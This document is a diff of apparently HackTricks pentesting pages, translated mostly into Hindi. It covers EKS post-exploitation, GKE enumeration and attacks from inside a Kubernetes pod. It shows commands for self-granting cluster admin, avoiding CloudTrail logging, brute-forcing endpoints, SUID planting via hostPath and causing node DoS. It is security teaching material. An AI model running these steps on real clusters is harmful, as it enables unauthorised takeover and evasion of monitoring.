diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md index 787c94e2e..3d08425a8 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md @@ -10,9 +10,9 @@ ../../aws-services/aws-eks-enum.md {{#endref}} -### AWS Console से cluster enumerate करें +### AWS Console से cluster को enumerate करें -यदि आपके पास permission **`eks:AccessKubernetesApi`** है, तो आप AWS EKS console के जरिए **Kubernetes objects** **देख** सकते हैं ([और जानें](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html))। +अगर आपके पास permission **`eks:AccessKubernetesApi`** है, तो आप AWS EKS console के जरिए **Kubernetes objects** देख सकते हैं ([और जानें](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html))। ### AWS Kubernetes Cluster से connect करें @@ -21,11 +21,11 @@ # Generate kubeconfig aws eks update-kubeconfig --name aws-eks-dev ``` -- इतना आसान तरीका नहीं: +- उतना आसान तरीका नहीं: -यदि आप **`aws eks get-token --name `** के साथ **token** **get** कर सकते हैं, लेकिन आपके पास cluster info (**describeCluster**) get करने की permissions नहीं हैं, तो आप **अपना खुद का `~/.kube/config`** prepare कर सकते हैं। हालांकि, token होने के बावजूद, आपको अभी भी connect करने के लिए **url endpoint** चाहिए (यदि आपने किसी pod से JWT token हासिल किया है, तो [यहाँ](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token) पढ़ें) और **cluster का name** भी चाहिए। +अगर आप **`aws eks get-token --name `** के साथ **एक token** **ले** सकते हैं, लेकिन आपके पास cluster info (describeCluster) पाने की permissions नहीं हैं, तो आप **अपना `~/.kube/config`** तैयार कर सकते हैं। हालांकि, token होने पर भी, आपको अभी भी **connect करने के लिए url endpoint** चाहिए (अगर आपने किसी pod से JWT token हासिल कर लिया है, तो [यहाँ](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token) पढ़ें) और **cluster का नाम** चाहिए। -मेरे मामले में, मुझे CloudWatch logs में info नहीं मिली, लेकिन मुझे यह **LaunchTemaplates userData** में और **EC2 machines के userData** में भी **found** हुई। आप यह info **userData** में आसानी से देख सकते हैं, उदाहरण के लिए अगले उदाहरण में (cluster name cluster-name था): +मेरे मामले में, मुझे CloudWatch logs में info नहीं मिली, लेकिन मैंने इसे **LaunchTemaplates userData** में और **EC2 machines के userData** में भी **पाया**। आप यह info **userData** में आसानी से देख सकते हैं, उदाहरण के लिए अगले example में (cluster name cluster-name था): ```bash API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com @@ -70,42 +70,42 @@ provideClusterInfo: false ``` -### AWS से Kubernetes तक +### AWS से Kubernetes -**EKS cluster** का **creator** **ALWAYS** kubernetes cluster के उस हिस्से में जा सकेगा जो group **`system:masters`** (k8s admin) का है। इस लेखन के समय **यह पता लगाने का कोई direct तरीका नहीं** है कि cluster **किसने बनाया** था (आप CloudTrail check कर सकते हैं)। और इस **privilege** को **remove** करने का **कोई तरीका नहीं** है। +ऐतिहासिक रूप से, **EKS cluster** के **creator** को hidden Kubernetes admin access मिलता था, जो `aws-auth` में visible नहीं होता था. वर्तमान EKS clusters में, यह cluster access configuration पर निर्भर करता है. `bootstrapClusterCreatorAdminPermissions` यह नियंत्रित करता है कि creator को creation के दौरान cluster-admin access entry के रूप में जोड़ा जाए या नहीं, और EKS access entries उस admin path को EKS API के through visible और revocable बनाती हैं. पुराने clusters या वे clusters जो अभी भी `aws-auth` पर rely करते हैं, उनके पास अभी भी legacy creator behavior हो सकता है, इसलिए creator के पास हमेशा unremovable `system:masters` है, यह मानने के बजाय `accessConfig` confirm करें, access entries list करें, और CloudTrail review करें. #### configmap का abuse -**अधिक AWS IAM users या roles** को **K8s तक access** देने का traditional तरीका **configmap** **`aws-auth`** का उपयोग करना है। +**more AWS IAM users or roles** को **K8s** पर **access** देने का traditional तरीका **configmap** **`aws-auth`** का use करना है. > [!WARNING] -> इसलिए, जिसके पास **config map `aws-auth`** पर **write access** है, वह **पूरे cluster को compromise** कर सकेगा। +> इसलिए, किसी भी व्यक्ति के पास जो config map **`aws-auth`** पर **write access** रखता है, वह **पूरे cluster को compromise** कर सकेगा. -**उसी या अलग account** में **IAM roles & users** को extra privileges **grant** करने के बारे में अधिक जानकारी के लिए और [**privesc के लिए इसका abuse**] करने के लिए यह page देखें (../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps). +**same or different account** में IAM roles & users को **extra privileges** देने के बारे में अधिक जानकारी के लिए और इसे [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps) के लिए **abuse** करने के लिए देखें. -**IAM -> Kubernetes authentication** कैसे काम करता है, यह सीखने के लिए [**यह awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post** भी देखें। +साथ ही [**this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post** भी देखें ताकि समझ सकें कि authentication IAM -> Kubernetes कैसे काम करता है. #### Access Entries का abuse -AWS ने IAM users को access entries के through Kubernetes cluster तक access देने का एक अतिरिक्त तरीका implement किया है। यदि आपके पास `eks:CreateAccessEntry` और `eks:AssociateAccessPolicy` permissions हैं, तो आप अपने user या किसी specific role को Kubernetes administrator role भी assign कर सकते हैं। +AWS IAM users को Kubernetes cluster तक access देने का एक additional तरीका access entries के through implement करता है. यदि आपके पास `eks:CreateAccessEntry` और `eks:AssociateAccessPolicy` permissions हैं, तो आप अपने user या किसी specific role को Kubernetes administrator role भी assign कर सकते हैं. सबसे पहले, **अपने user या role के लिए एक access entry create करें**: ``` aws eks create-access-entry --cluster-name --region --principal-arn --type STANDARD ``` -उस एंट्री के बन जाने के बाद, अब आप उस पर सीधे एक policy असाइन करने में सक्षम हो सकते हैं। एक built-in AWS policy होती है जिसका नाम *AmazonEKSClusterAdminPolicy* है, जिसे सीधे इस्तेमाल किया जा सकता है। ध्यान रखें कि अगर आपके environment में कुछ अन्य custom policies भी हैं जो EKS में elevated privileges देती हैं, तो आप `--policy-arn` को उनमें से किसी भी policy में बदल सकते हैं: +उस entry के created होने के साथ, अब आप संभवतः उस पर सीधे एक policy assign कर सकते हैं। एक built-in AWS policy है जिसका नाम *AmazonEKSClusterAdminPolicy* है, जिसे सीधे use किया जा सकता है। ध्यान रखें कि अगर आपके environment में कुछ अन्य custom policies भी हैं जो EKS में elevated privileges grant करती हैं, तो आप `--policy-arn` को उनमें से किसी भी policy में बदल सकते हैं: ``` aws eks associate-access-policy --cluster-name --region --principal-arn --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy --access-scope type=cluster ``` -आप इस नीति को AWS आधिकारिक दस्तावेज़ में [**यहाँ**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy) खोज सकते हैं +आप AWS official documentation में इस policy को [**here**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy) search कर सकते हैं -इस बिंदु से आगे, अब आप एक *k8s* token का अनुरोध कर सकते हैं और cluster के साथ administrator के रूप में interact कर सकते हैं: +अब से, आप संभवतः एक *k8s* token request कर सकते हैं और cluster के साथ administrator के रूप में interact कर सकते हैं: ``` aws eks get-token --cluster-name --output json | jq -r '.status.token' ``` ### Kubernetes से AWS तक -**kubernetes service account** के लिए **OpenID authentication** को allow करना संभव है ताकि वे AWS में roles assume कर सकें। जानें कि [**यह कैसे काम करता है इस पेज में**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). +**kubernetes service account** के लिए **OpenID authentication** को allow करना possible है ताकि वे AWS में roles assume कर सकें। सीखें कि [**यह कैसे काम करता है इस page में**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). ### JWT Token से GET Api Server Endpoint @@ -113,12 +113,12 @@ JWT token को decode करने पर हमें cluster id और regio ```bash https://...eks.amazonaws.com ``` -'दो chars' और 'number' के criteria को explain करने वाला कोई documentation नहीं मिला। लेकिन अपनी तरफ से कुछ test करने पर मुझे ये बार-बार दिखे: +कोई documentation नहीं मिली जो 'two chars' और 'number' के criteria को explain करे। लेकिन अपनी तरफ से कुछ test करने पर मैंने ये recurring देखे: - gr7 - yl4 -खैर, ये सिर्फ 3 chars हैं, हम इन्हें bruteforce कर सकते हैं। list generate करने के लिए नीचे वाला script use करें +Anyway, सिर्फ 3 chars हैं, इसलिए हम उन्हें bruteforce कर सकते हैं। list generate करने के लिए नीचे दिया गया script use करें ```python from itertools import product from string import ascii_lowercase @@ -139,25 +139,25 @@ f.write('\n'.join(result)) wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com ``` > [!WARNING] -> याद रखें कि & . को बदलना है +> याद रखें कि & को बदलना है। -### CloudTrail को Bypass करना +### Bypass CloudTrail -यदि किसी attacker को **EKS पर permission** वाले AWS के credentials मिल जाते हैं। यदि attacker पहले बताए अनुसार अपना **`kubeconfig`** (बिना **`update-kubeconfig`** को call किए) configure करता है, तो **`get-token`** Cloudtrail में logs generate नहीं करता क्योंकि यह AWS API के साथ interact नहीं करता (यह बस token को locally create करता है)। +अगर किसी attacker को **EKS पर permission** वाले किसी AWS के credentials मिल जाते हैं। अगर attacker अपना **`kubeconfig`** configure करता है (**`update-kubeconfig`** को call किए बिना) जैसा कि पहले समझाया गया है, तो **`get-token`** Cloudtrail में logs generate नहीं करता क्योंकि यह AWS API के साथ interact नहीं करता (यह सिर्फ token को locally create करता है)। -इसलिए जब attacker EKS cluster से बात करता है, **cloudtrail उस user के stolen होने और उसे access करने से related कुछ भी log नहीं करेगा**। +इसलिए जब attacker EKS cluster से बात करता है, तो **cloudtrail user के stolen होने और access करने से संबंधित कुछ भी log नहीं करेगा**। -ध्यान दें कि **EKS cluster में logs enabled** हो सकते हैं जो इस access को log करेंगे (हालाँकि, by default, वे disabled होते हैं)। +ध्यान दें कि **EKS cluster में logs enabled** हो सकते हैं जो इस access को log करेंगे (हालांकि default रूप से, वे disabled होते हैं)। ### EKS Ransom? -By default **user या role जिसने cluster बनाया था** उसके पास cluster पर **ALWAYS** admin privileges होंगे। और यही Kubernetes cluster पर AWS का एकमात्र "secure" access होगा। +Default रूप से **जिस user या role ने** cluster बनाया है, उसके पास cluster पर **ALWAYS admin privileges** होंगे। और यही Kubernetes cluster पर AWS का एकमात्र "secure" access होगा। -इसलिए, यदि कोई **attacker fargate का उपयोग करने वाले cluster को compromise करता है** और **बाकी सभी admins को हटाता है** तथा **Cluster बनाने वाले AWS user/role को delete** कर देता है, तो ~~attacker cluster को **ransom** कर सकता था~~**r** सकता है। +इसलिए, अगर कोई **attacker fargate का उपयोग करने वाले cluster को compromise करता है** और **सभी दूसरे admins को हटा देता है** और **cluster बनाने वाले AWS user/role को delete** कर देता है, तो ~~attacker ने **cluster को ransom** कर दिया होता~~**r**। > [!TIP] -> ध्यान दें कि यदि cluster **EC2 VMs** का उपयोग कर रहा था, तो **Node** से Admin privileges प्राप्त करना और cluster को recover करना संभव हो सकता था। +> ध्यान दें कि अगर cluster **EC2 VMs** का उपयोग कर रहा था, तो **Node** से Admin privileges प्राप्त करना और cluster को recover करना संभव हो सकता है। > -> वास्तव में, यदि cluster Fargate का उपयोग कर रहा है तो आप EC2 nodes का उपयोग कर सकते हैं या सब कुछ EC2 पर move कर सकते हैं और node में tokens access करके उसे recover कर सकते हैं। +> वास्तव में, अगर cluster Fargate का उपयोग कर रहा है, तो आप EC2 nodes प्राप्त कर सकते हैं या सब कुछ EC2 में move करके cluster को recover कर सकते हैं और node में tokens access करके उसे वापस पा सकते हैं। {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md index aadc9fce1..66bffb8a4 100644 --- a/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md @@ -4,7 +4,7 @@ ## Containers -GCP containers में आप GCP द्वारा ऑफर किए गए most of the containers based services पा सकते हैं, यहाँ आप देख सकते हैं कि सबसे common ones को कैसे enumerate करें: +GCP containers में आप GCP द्वारा offered अधिकांश containers based services पा सकते हैं, यहाँ आप सबसे common ones को enumerate करने का तरीका देख सकते हैं: ```bash gcloud container images list gcloud container images list --repository us.gcr.io/ #Search in other subdomains repositories @@ -24,7 +24,7 @@ sudo docker pull HOSTNAME// ``` ### Privesc -निम्नलिखित पेज में आप देख सकते हैं कि **container permissions का abuse करके privileges कैसे escalate करें**: +निम्नलिखित पेज में आप देख सकते हैं कि **container permissions का abuse करके privileges escalate** कैसे करें: {{#ref}} ../gcp-privilege-escalation/gcp-container-privesc.md @@ -32,7 +32,7 @@ sudo docker pull HOSTNAME// ## Node Pools -ये machines (nodes) का pool हैं जो kubernetes clusters बनाते हैं। +ये machines (nodes) के pool हैं जो kubernetes clusters बनाते हैं। ```bash # Pool of machines used by the cluster gcloud container node-pools list --zone --cluster @@ -40,23 +40,23 @@ gcloud container node-pools describe --cluster --zone --region \ --format='value(workloadIdentityConfig.workloadPool)' @@ -76,17 +76,31 @@ gcloud container clusters describe --region \ kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8 kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName' ``` -यदि किसी service account के पास `iam.gke.io/gcp-service-account` annotation है, तो Kubernetes service account principals को दिए गए `roles/iam.workloadIdentityUser` grants के लिए IAM service account policy की समीक्षा करें। साथ ही direct workload identity principals या broad principal sets के लिए IAM allow policies भी जांचें। +यदि किसी service account पर annotation `iam.gke.io/gcp-service-account` है, तो `roles/iam.workloadIdentityUser` grants के लिए IAM service account policy की समीक्षा करें, ताकि Kubernetes service account principals देखे जा सकें। IAM allow policies में direct workload identity principals या broad `principalSet://` grants भी जांचें, जैसे namespace-wide या cluster-wide workload access। Annotation `iam.gke.io/credential-quota-project` सिर्फ IAM Service Account Credentials API quota को दूसरे project में move करता है; workload principal को अभी भी उस quota project पर `serviceusage.services.use` चाहिए, और target resource तक अलग IAM access भी चाहिए। -Metadata access cluster mode, node pool configuration, और workload settings पर निर्भर करता है। यह मानकर न चलें कि हर pod node service account चुरा सकता है। Workload Identity-enabled environments में, सामान्य pods को अपनी Kubernetes service account के लिए intended workload identity प्राप्त करने हेतु GKE metadata server का उपयोग करना चाहिए। Node compromise, कुछ Standard configurations में `hostNetwork` pods, और legacy node metadata exposure अभी भी blast radius बदल सकते हैं, इसलिए actual node pool metadata mode, node service account, OAuth scopes, और pod placement verify करें। +Metadata access cluster mode, node pool configuration, और workload settings पर निर्भर करता है। यह assume न करें कि हर pod node service account चुरा सकता है। Workload Identity-enabled environments में, ordinary pods को अपने Kubernetes service account के लिए intended workload identity पाने हेतु GKE metadata server का उपयोग करना चाहिए। Node compromise, कुछ Standard configurations में `hostNetwork` pods, और legacy node metadata exposure अभी भी blast radius बदल सकते हैं, इसलिए actual node pool metadata mode, node service account, OAuth scopes, और pod placement verify करें। + +यदि Workload Identity-enabled pod token नहीं पा रहा है, तो IAM binding गलत मानने से पहले NetworkPolicy egress भी जांचें। NetworkPolicy इस्तेमाल करने वाले GKE Standard clusters को cluster version और dataplane के अनुसार required metadata-server path allow करना चाहिए, और Dataplane V2 metadata-server access के लिए `169.254.169.254` path का उपयोग करता है। + +### Autopilot privileged workload allowlists + +GKE Autopilot default रूप से अधिकांश privileged workloads block करता है, लेकिन approved exceptions हो सकती हैं। privileged admission settings, `AllowlistSynchronizer` objects, और installed `WorkloadAllowlist` objects की समीक्षा करें, इससे पहले कि यह मान लें कि privileged pod असंभव है: +```bash +gcloud container clusters describe --region \ +--format='yaml(autopilot,privilegedAdmissionConfig,clusterPolicyConfig)' + +kubectl get allowlistsynchronizers.auto.gke.io -A -o yaml +kubectl get workloadallowlists.auto.gke.io -A -o yaml +``` +Allowlist paths GKE-owned (`gke://...`) या customer-owned Cloud Storage paths (`gs://...`) हो सकते हैं। Wildcards और broad bucket paths blast radius बढ़ाते हैं क्योंकि उस path के under future allowlist files cluster के लिए valid हो सकते हैं। जब एक `WorkloadAllowlist` install किया जाता है, तो उसके exemptions और matching criteria को pod spec से compare करें, खासकर image digests, host namespaces, writable hostPath mounts, host ports, Linux capabilities, और क्या `autopilot.gke.io/no-connect` privileged workload तक `exec` access को रोकता है। ### TLS Boostrap Privilege Escalation -शुरुआत में यह privilege escalation technique **GKE cluster के अंदर privesc** करने की अनुमति देती थी, जिससे attacker इसे **पूरी तरह compromise** कर सकता था। +Initially इस privilege escalation technique ने **GKE cluster के अंदर privesc** की अनुमति दी, effectively attacker को इसे **fully compromise** करने दिया। -यह इसलिए संभव था क्योंकि GKE metadata में [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) देता है, जो **केवल एक pod compromise करके कोई भी access कर सकता था**। +यह इसलिए है क्योंकि GKE metadata में [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) provide करता है, जो **किसी भी व्यक्ति के लिए सिर्फ एक pod compromise करके accessible** हैं। -इस्तेमाल की गई technique को निम्न posts में समझाया गया है: +इस technique का उपयोग निम्न posts में explained है: - [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/) - [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/) @@ -94,15 +108,15 @@ Metadata access cluster mode, node pool configuration, और workload settings और इस process को automate करने के लिए यह tool बनाया गया था: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein) -हालांकि, इस technique ने इस fact का misuse किया कि **metadata credentials के साथ** **नई node** के लिए **CSR** (Certificate Signing Request) generate करना संभव था, जिसे **automatically approved** किया जाता था।\ -मेरे test में मैंने check किया कि **वे requests अब automatically approved नहीं होतीं**, इसलिए मुझे नहीं पता कि यह technique अभी भी valid है या नहीं। +हालांकि, इस technique ने इस fact का abuse किया कि **metadata credentials** के साथ **एक नए node** के लिए **CSR** (Certificate Signing Request) generate करना संभव था, जिसे **automatically approved** कर दिया जाता था।\ +मेरे test में मैंने check किया कि **अब वे requests automatically approved नहीं होतीं**, इसलिए मुझे नहीं पता कि यह technique अभी भी valid है या नहीं। ### Secrets in Kubelet API -[**इस post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) में यह discovered हुआ कि GKE में एक pod के अंदर से accessible Kubelet API address था, जो चल रहे pods के details देता था: +[**इस post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) में discovered किया गया कि GKE में एक pod के अंदर से accessible Kubelet API address मौजूद था, जो running pods के details देता था: ``` curl -v -k http://10.124.200.1:10255/pods ``` -भले ही API **resources को modify करने की अनुमति न दे**, response में **sensitive information** मिल सकती है। endpoint /pods को [**Kiterunner**](https://github.com/assetnote/kiterunner) का उपयोग करके पाया गया। +भले ही API **resources को modify करने की अनुमति नहीं देता**, response में **sensitive information** मिल सकती है। endpoint /pods को [**Kiterunner**](https://github.com/assetnote/kiterunner) का उपयोग करके पाया गया था। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md index e8f21b8d6..10a0498b5 100644 --- a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md +++ b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md @@ -1,4 +1,4 @@ -# Kubernetes से अंदर से Pod पर हमला +# Attacking Kubernetes from inside a Pod {{#include ../../banners/hacktricks-training.md}} @@ -8,30 +8,30 @@ ![Kubernetes pod breakout diagram showing attacker OS flow from a container through syscalls to the host kernel](https://sickrov.github.io/media/Screenshot-161.jpg) -### Pod से escaping +### pod से escaping -Pods से escape करने की कोशिश करने के लिए आपको पहले **privileges escalate** करने की जरूरत पड़ सकती है, इसे करने की कुछ techniques: +pods से escape करने की कोशिश करने के लिए आपको पहले **privileges escalate** करने पड़ सकते हैं, ऐसा करने की कुछ techniques: {{#ref}} https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html {{#endref}} -आप इस **docker breakouts to try to escape** को check कर सकते हैं, ताकि उस pod से escape किया जा सके जिसे आपने compromise किया है: +आप इस **docker breakouts to try to escape** को check कर सकते हैं, एक compromised pod से escape करने के लिए: {{#ref}} https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html {{#endref}} -### Writable hostPath/bind mounts का abuse करना (container -> host root via SUID planting) +### writable hostPath/bind mounts का abuse करना (container -> host root via SUID planting) -अगर किसी compromised pod/container में एक writable volume है जो सीधे host filesystem से map होता है (Kubernetes hostPath या Docker bind mount), और आप container के अंदर root बन सकते हैं, तो आप इस mount का फायदा उठाकर host पर एक setuid-root binary बना सकते हैं और फिर host से उसे execute करके root पा सकते हैं। +अगर किसी compromised pod/container के पास एक writable volume है जो सीधे host filesystem (Kubernetes hostPath या Docker bind mount) से map होता है, और आप container के अंदर root बन सकते हैं, तो आप mount का leverage लेकर host पर एक setuid-root binary बना सकते हैं और फिर host से उसे execute करके root pop कर सकते हैं। मुख्य conditions: -- mounted volume container के अंदर से writable हो (readOnly: false और filesystem permissions write की अनुमति दें)। -- mount को backing करने वाला host filesystem nosuid option के साथ mounted न हो। -- आपके पास host पर planted binary को execute करने का कोई तरीका हो (उदाहरण के लिए, host पर separate SSH/RCE, host का कोई user उसे execute कर सके, या कोई दूसरा vector जो उस path से binaries run करे)। +- mounted volume container के अंदर से writable है (readOnly: false और filesystem permissions write की अनुमति देते हैं)। +- mount को backing करने वाला host filesystem nosuid option के साथ mounted नहीं है। +- host पर planted binary execute करने का आपके पास कोई तरीका है (उदाहरण के लिए, host पर separate SSH/RCE, host का कोई user उसे execute कर सकता है, या कोई और vector जो उस path से binaries run करता है)। -Writable hostPath/bind mounts identify करने के तरीके: +writable hostPath/bind mounts identify करने के लिए: - kubectl के साथ, hostPath volumes check करें: kubectl get pod -o jsonpath='{.spec.volumes[*].hostPath.path}' - container के अंदर से, mounts list करें और host-path mounts देखें तथा writability test करें: ```bash @@ -62,19 +62,19 @@ ls -l /opt/limesurvey/suidbash /opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash ``` Notes and troubleshooting: -- यदि host mount पर nosuid है, तो setuid bits ignore किए जाएंगे। Host पर mount options जांचें (cat /proc/mounts | grep ) और nosuid देखें। -- अगर आप host execution path नहीं पा सकते, तो similar writable mounts का abuse करके host पर अन्य persistence/priv-esc artifacts लिखे जा सकते हैं, यदि mapped directory security-critical हो (जैसे, अगर mount /root/.ssh में map होता है तो root SSH key add करें, अगर /etc में map होता है तो cron/systemd unit डालें, PATH में root-owned binary replace करें जिसे host execute करेगा, etc.). Feasibility पूरी तरह इस पर निर्भर करती है कि कौन सा path mounted है। -- यह technique plain Docker bind mounts के साथ भी काम करती है; Kubernetes में यह आमतौर पर hostPath volume (readOnly: false) या incorrectly scoped subPath होता है। +- If the host mount has nosuid, setuid bits will be ignored. Check mount options on the host (cat /proc/mounts | grep ) and look for nosuid. +- If you cannot get a host execution path, similar writable mounts can be abused to write other persistence/priv-esc artifacts on the host if the mapped directory is security-critical (e.g., add a root SSH key if the mount maps into /root/.ssh, drop a cron/systemd unit if maps into /etc, replace a root-owned binary in PATH that the host will execute, etc.). Feasibility depends entirely on what path is mounted. +- This technique also works with plain Docker bind mounts; in Kubernetes it’s typically a hostPath volume (readOnly: false) or an incorrectly scoped subPath. ### Abusing Kubernetes Privileges -जैसा कि **kubernetes enumeration** वाले section में समझाया गया है: +As explained in the section about **kubernetes enumeration**: {{#ref}} kubernetes-enumeration.md {{#endref}} -आमतौर पर pods के अंदर एक **service account token** के साथ run होते हैं। इस service account से कुछ **privileges** जुड़े हो सकते हैं जिन्हें आप **abuse** करके **move** कर सकते हैं other pods तक या cluster के अंदर configured nodes तक **escape** भी कर सकते हैं। कैसे, यह देखें: +Usually the pods are run with a **service account token** inside of them. This service account may have some **privileges attached to it** that you could **abuse** to **move** to other pods or even to **escape** to the nodes configured inside the cluster. Check how in: {{#ref}} abusing-roles-clusterroles-in-kubernetes/ @@ -82,19 +82,19 @@ abusing-roles-clusterroles-in-kubernetes/ ### Abusing Cloud Privileges -अगर pod किसी **cloud environment** के अंदर run हो रहा है, तो आप metadata endpoint से एक token **leak** कर सकते हैं और उसका उपयोग करके privileges escalate कर सकते हैं। +If the pod is run inside a **cloud environment** you might be able to l**eak a token from the metadata endpoint** and escalate privileges using it. ## Search vulnerable network services -क्योंकि आप Kubernetes environment के अंदर हैं, अगर आप current pods privileges का abuse करके privileges escalate नहीं कर सकते और container से escape नहीं कर सकते, तो आपको **potential vulnerable services** search करनी चाहिए। +As you are inside the Kubernetes environment, if you cannot escalate privileges abusing the current pods privileges and you cannot escape from the container, you should **search potential vulnerable services.** ### Services -**इस purpose के लिए, आप kubernetes environment की सभी services प्राप्त करने की कोशिश कर सकते हैं:** +**For this purpose, you can try to get all the services of the kubernetes environment:** ``` kubectl get svc --all-namespaces ``` -By default, Kubernetes एक flat networking schema का उपयोग करता है, जिसका मतलब है कि **cluster के भीतर कोई भी pod/service दूसरे से बात कर सकता है**। cluster के भीतर **namespaces** में default रूप से **कोई network security restrictions नहीं होतीं**। namespace में कोई भी अन्य namespaces से बात कर सकता है। +By default, Kubernetes एक flat networking schema का उपयोग करता है, जिसका मतलब है कि **cluster के भीतर कोई भी pod/service दूसरों से बात कर सकता है**। cluster के भीतर के **namespaces** में **by default कोई network security restrictions नहीं होते**। namespace में कोई भी अन्य namespaces से बात कर सकता है। ### Scanning @@ -117,7 +117,7 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}" } nmap-kube-discover ``` -Check out the following page to learn how you could **Kubernetes specific services पर attack** to **अन्य pods/पूरा environment compromise** करें: +Check out the following page to learn how you could **Kubernetes specific services पर attack** करके **other pods/all the environment** compromise कर सकते हैं: {{#ref}} pentesting-kubernetes-services/ @@ -125,12 +125,12 @@ pentesting-kubernetes-services/ ### Sniffing -अगर **compromised pod** कोई sensitive service चला रहा है जहाँ दूसरे pods को authenticate करना होता है, तो आप **local communications sniffing** करके दूसरे pods से भेजे गए credentials हासिल कर सकते हैं। +In case the **compromised pod is running some sensitive service** where other pods need to authenticate you might be able to obtain the credentials send from the other pods **local communications sniffing** करके। ## Network Spoofing -By default techniques like **ARP spoofing** (and thanks to that **DNS Spoofing**) Kubernetes network में work करते हैं। फिर, किसी pod के अंदर, अगर आपके पास **NET_RAW capability** है (जो default से मौजूद होती है), तो आप custom crafted network packets भेज सकते हैं और उसी node पर चल रहे सभी pods के खिलाफ **ARP Spoofing के जरिए MitM attacks** कर सकते हैं।\ -इसके अलावा, अगर **malicious pod** **DNS Server** के साथ **same node** पर चल रहा है, तो आप पूरे cluster के सभी pods के खिलाफ **DNS Spoofing attack** कर पाएंगे। +By default techniques like **ARP spoofing** (and thanks to that **DNS Spoofing**) work in kubernetes network. Then, inside a pod, if you have the **NET_RAW capability** (which is there by default), you will be able to send custom crafted network packets and perform **MitM attacks via ARP Spoofing to all the pods running in the same node.**\ +Moreover, if the **malicious pod** is running in the **same node as the DNS Server**, you will be able to perform a **DNS Spoofing attack to all the pods in cluster**. {{#ref}} kubernetes-network-attacks.md @@ -138,25 +138,25 @@ kubernetes-network-attacks.md ## Node DoS -Kubernetes manifests में resources की specification नहीं है और containers के लिए **not applied limit** ranges नहीं हैं। एक attacker के तौर पर, हम **उस pod/deployment के सारे resources consume** कर सकते हैं जहाँ वह चल रहा है और दूसरे resources को starve करके environment पर DoS cause कर सकते हैं। +Kubernetes manifests में resources की specification नहीं है और containers के लिए **not applied limit** ranges नहीं हैं। As an attacker, we can **consume all the resources where the pod/deployment running** and starve other resources and cause a DoS for the environment. -यह [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng) जैसे tool से किया जा सकता है: +This can be done with a tool such as [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng): ``` stress-ng --vm 2 --vm-bytes 2G --timeout 30s ``` -आप `stress-ng` चलाते समय और उसके बाद का फर्क देख सकते हैं +आप `stress-ng` चलाते समय और उसके बाद का अंतर देख सकते हैं ```bash kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx ``` ## Node Post-Exploitation -अगर आप **container से escape** करने में सफल हो गए हैं, तो node में आपको कुछ दिलचस्प चीजें मिलेंगी: +अगर आप **container से escape** करने में कामयाब हो गए हैं, तो node में आपको कुछ interesting चीज़ें मिलेंगी: - **Container Runtime** process (Docker) -- node में चल रहे और भी **pods/containers** जिनका आप इस तरह abuse कर सकते हैं (और अधिक tokens) -- पूरा **filesystem** और सामान्य रूप से **OS** +- node में चल रहे और ज़्यादा **pods/containers** जिन्हें आप इसी तरह abuse कर सकते हैं (more tokens) +- पूरा **filesystem** और 